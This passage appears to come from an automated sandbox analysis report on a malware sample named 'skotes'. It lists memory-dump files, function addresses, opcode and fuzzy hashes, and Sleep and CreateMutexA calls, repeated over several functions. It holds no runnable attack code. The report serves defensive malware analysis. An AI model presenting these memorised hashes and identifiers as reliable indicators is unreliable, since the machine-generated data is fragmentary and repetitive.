Associated: 00000001.00000002.1843944752.00000000009D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844114339.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844148973.0000000000A01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844303455.0000000000A26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844339055.0000000000A27000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844372607.0000000000A2F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844413878.0000000000A3D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844450546.0000000000A58000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844473937.0000000000A5C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844490810.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844508829.0000000000A62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844524663.0000000000A63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844547874.0000000000A67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844575421.0000000000A74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844592951.0000000000A79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844610030.0000000000A80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844627113.0000000000A85000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844644693.0000000000A8D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844661133.0000000000A8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844678293.0000000000A96000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844763430.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844779295.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844795862.0000000000AFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844814152.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844830929.0000000000B02000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844848493.0000000000B07000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844877052.0000000000B09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844896415.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7fa95db428ed58897379ddad7b09da12dbf398bec82d22f43ad8769507d7bdf7
Instruction ID: 333d869b17c10b6bbec1267d5a21feb74107fade4ba41add4ca1b850045d84af
Opcode Fuzzy Hash: 7fa95db428ed58897379ddad7b09da12dbf398bec82d22f43ad8769507d7bdf7
Instruction Fuzzy Hash: CA312631700204DBEB0C9B7CDC857ADBB66FF86324F248619E064D73D2CB7599818792

Function 0080A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0080A963
CreateMutexA.KERNELBASE(00000000,00000000,00863254), ref: 0080A981

Memory Dump Source

Source File: 00000001.00000002.1843663722.0000000000801000.00000040.00000001.01000000.00000008.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.1843641693.0000000000800000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843663722.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843738948.0000000000869000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843756507.000000000086B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843794188.0000000000877000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843913499.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843944752.00000000009D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844114339.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844148973.0000000000A01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844303455.0000000000A26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844339055.0000000000A27000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844372607.0000000000A2F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844413878.0000000000A3D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844450546.0000000000A58000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844473937.0000000000A5C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844490810.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844508829.0000000000A62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844524663.0000000000A63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844547874.0000000000A67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844575421.0000000000A74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844592951.0000000000A79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844610030.0000000000A80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844627113.0000000000A85000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844644693.0000000000A8D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844661133.0000000000A8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844678293.0000000000A96000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844763430.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844779295.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844795862.0000000000AFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844814152.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844830929.0000000000B02000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844848493.0000000000B07000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844877052.0000000000B09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844896415.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 899b8d68270a995e886c93ecca45c30333530e6d05dfb108a9e4e231e377f86e
Instruction ID: af000fd0bf6033f7294a5cf017dea397216fb31aff61df68615b0557c21f4477
Opcode Fuzzy Hash: 899b8d68270a995e886c93ecca45c30333530e6d05dfb108a9e4e231e377f86e
Instruction Fuzzy Hash: 00310531700304DBEB0C9BB8DC85BADBB66FF96324F248219E025D73D5CB7699818652

Function 0080A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0080A963
CreateMutexA.KERNELBASE(00000000,00000000,00863254), ref: 0080A981

Memory Dump Source

Source File: 00000001.00000002.1843663722.0000000000801000.00000040.00000001.01000000.00000008.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.1843641693.0000000000800000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843663722.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843738948.0000000000869000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843756507.000000000086B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843794188.0000000000877000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843913499.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843944752.00000000009D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844114339.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844148973.0000000000A01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844303455.0000000000A26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844339055.0000000000A27000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844372607.0000000000A2F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844413878.0000000000A3D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844450546.0000000000A58000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844473937.0000000000A5C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844490810.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844508829.0000000000A62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844524663.0000000000A63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844547874.0000000000A67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844575421.0000000000A74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844592951.0000000000A79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844610030.0000000000A80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844627113.0000000000A85000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844644693.0000000000A8D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844661133.0000000000A8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844678293.0000000000A96000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844763430.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844779295.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844795862.0000000000AFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844814152.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844830929.0000000000B02000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844848493.0000000000B07000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844877052.0000000000B09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844896415.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2e7a582202e93d380224c49f9e62b87abf338623a247749ef059add1d8705c86
Instruction ID: afdc38597218f5aa3fdf513935b4556d32fd8a3135e63fc00b06a9140cdbf3a0
Opcode Fuzzy Hash: 2e7a582202e93d380224c49f9e62b87abf338623a247749ef059add1d8705c86
Instruction Fuzzy Hash: DD31F3327013049BEB1CDBBCDC89BADBB62FF96324F248219E015E72D1D77699818652

Function 0080A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0080A963
CreateMutexA.KERNELBASE(00000000,00000000,00863254), ref: 0080A981

Memory Dump Source

Source File: 00000001.00000002.1843663722.0000000000801000.00000040.00000001.01000000.00000008.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.1843641693.0000000000800000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843663722.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843738948.0000000000869000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843756507.000000000086B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843794188.0000000000877000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843913499.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843944752.00000000009D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844114339.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844148973.0000000000A01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844303455.0000000000A26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844339055.0000000000A27000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844372607.0000000000A2F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844413878.0000000000A3D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844450546.0000000000A58000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844473937.0000000000A5C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844490810.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844508829.0000000000A62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844524663.0000000000A63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844547874.0000000000A67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844575421.0000000000A74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844592951.0000000000A79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844610030.0000000000A80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844627113.0000000000A85000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844644693.0000000000A8D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844661133.0000000000A8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844678293.0000000000A96000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844763430.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844779295.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844795862.0000000000AFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844814152.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844830929.0000000000B02000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844848493.0000000000B07000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844877052.0000000000B09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844896415.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e943a2633d7e7378cd61374f7093768bca4d26e6c8200b33f7a4b58c1e77b6df
Instruction ID: a7f5bc9543d9b0c34336ee9df09ae9bd8795ce027a259599e6c5e692c2283845
Opcode Fuzzy Hash: e943a2633d7e7378cd61374f7093768bca4d26e6c8200b33f7a4b58c1e77b6df
Instruction Fuzzy Hash: B331F731B003049BEB1C9BBCDC89B6DB665FF95314F248218E014D72D6DBB559818697

Function 0080A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0080A963
CreateMutexA.KERNELBASE(00000000,00000000,00863254), ref: 0080A981

Memory Dump Source

Source File: 00000001.00000002.1843663722.0000000000801000.00000040.00000001.01000000.00000008.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.1843641693.0000000000800000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843663722.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843738948.0000000000869000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843756507.000000000086B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843794188.0000000000877000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843913499.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843944752.00000000009D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844114339.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844148973.0000000000A01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844303455.0000000000A26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844339055.0000000000A27000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844372607.0000000000A2F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844413878.0000000000A3D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844450546.0000000000A58000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844473937.0000000000A5C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844490810.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844508829.0000000000A62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844524663.0000000000A63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844547874.0000000000A67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844575421.0000000000A74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844592951.0000000000A79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844610030.0000000000A80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844627113.0000000000A85000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844644693.0000000000A8D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844661133.0000000000A8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844678293.0000000000A96000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844763430.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844779295.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844795862.0000000000AFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844814152.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844830929.0000000000B02000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844848493.0000000000B07000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844877052.0000000000B09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844896415.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f7947ef2e94cc605720c7fc91827acc1bc20c9417bb27919cdb325eaed7ff0a7
Instruction ID: 8ba94cb3fd128735d632e86833086d5601142ac37915a3f178af33381d570b9e
Opcode Fuzzy Hash: f7947ef2e94cc605720c7fc91827acc1bc20c9417bb27919cdb325eaed7ff0a7
Instruction Fuzzy Hash: 8C31F7317013049BEB0CDBBCDC85B6DB765FF85324F248618E014D72D1DB7599818652

Function 0080A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0080A963
CreateMutexA.KERNELBASE(00000000,00000000,00863254), ref: 0080A981

Memory Dump Source

Source File: 00000001.00000002.1843663722.0000000000801000.00000040.00000001.01000000.00000008.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.1843641693.0000000000800000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843663722.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843738948.0000000000869000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843756507.000000000086B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843794188.0000000000877000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843913499.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843944752.00000000009D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844114339.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844148973.0000000000A01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844303455.0000000000A26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844339055.0000000000A27000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844372607.0000000000A2F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844413878.0000000000A3D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844450546.0000000000A58000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844473937.0000000000A5C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844490810.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844508829.0000000000A62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844524663.0000000000A63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844547874.0000000000A67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844575421.0000000000A74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844592951.0000000000A79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844610030.0000000000A80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844627113.0000000000A85000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844644693.0000000000A8D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844661133.0000000000A8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844678293.0000000000A96000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844763430.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844779295.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844795862.0000000000AFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844814152.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844830929.0000000000B02000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844848493.0000000000B07000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844877052.0000000000B09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844896415.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: cc18aad41b5c0e441532cb9a98de551c63da6a90520f150ba28c4c374697a8d4
Instruction ID: 17ea081acd619dfc34104f5330ca34e2ea428d26711945682c505c84cbe5db42
Opcode Fuzzy Hash: cc18aad41b5c0e441532cb9a98de551c63da6a90520f150ba28c4c374697a8d4
Instruction Fuzzy Hash: B53105317053049BEB4CDBBCDC89B6DBB76FF95324F248618E024D72E2CB7599818692

Function 00809ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0080A963
CreateMutexA.KERNELBASE(00000000,00000000,00863254), ref: 0080A981

Memory Dump Source

Source File: 00000001.00000002.1843663722.0000000000801000.00000040.00000001.01000000.00000008.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.1843641693.0000000000800000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843663722.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843738948.0000000000869000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843756507.000000000086B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843794188.0000000000877000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843913499.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843944752.00000000009D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844114339.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844148973.0000000000A01000.00000040.00000001.01000000.00000008.sdmpDownload File
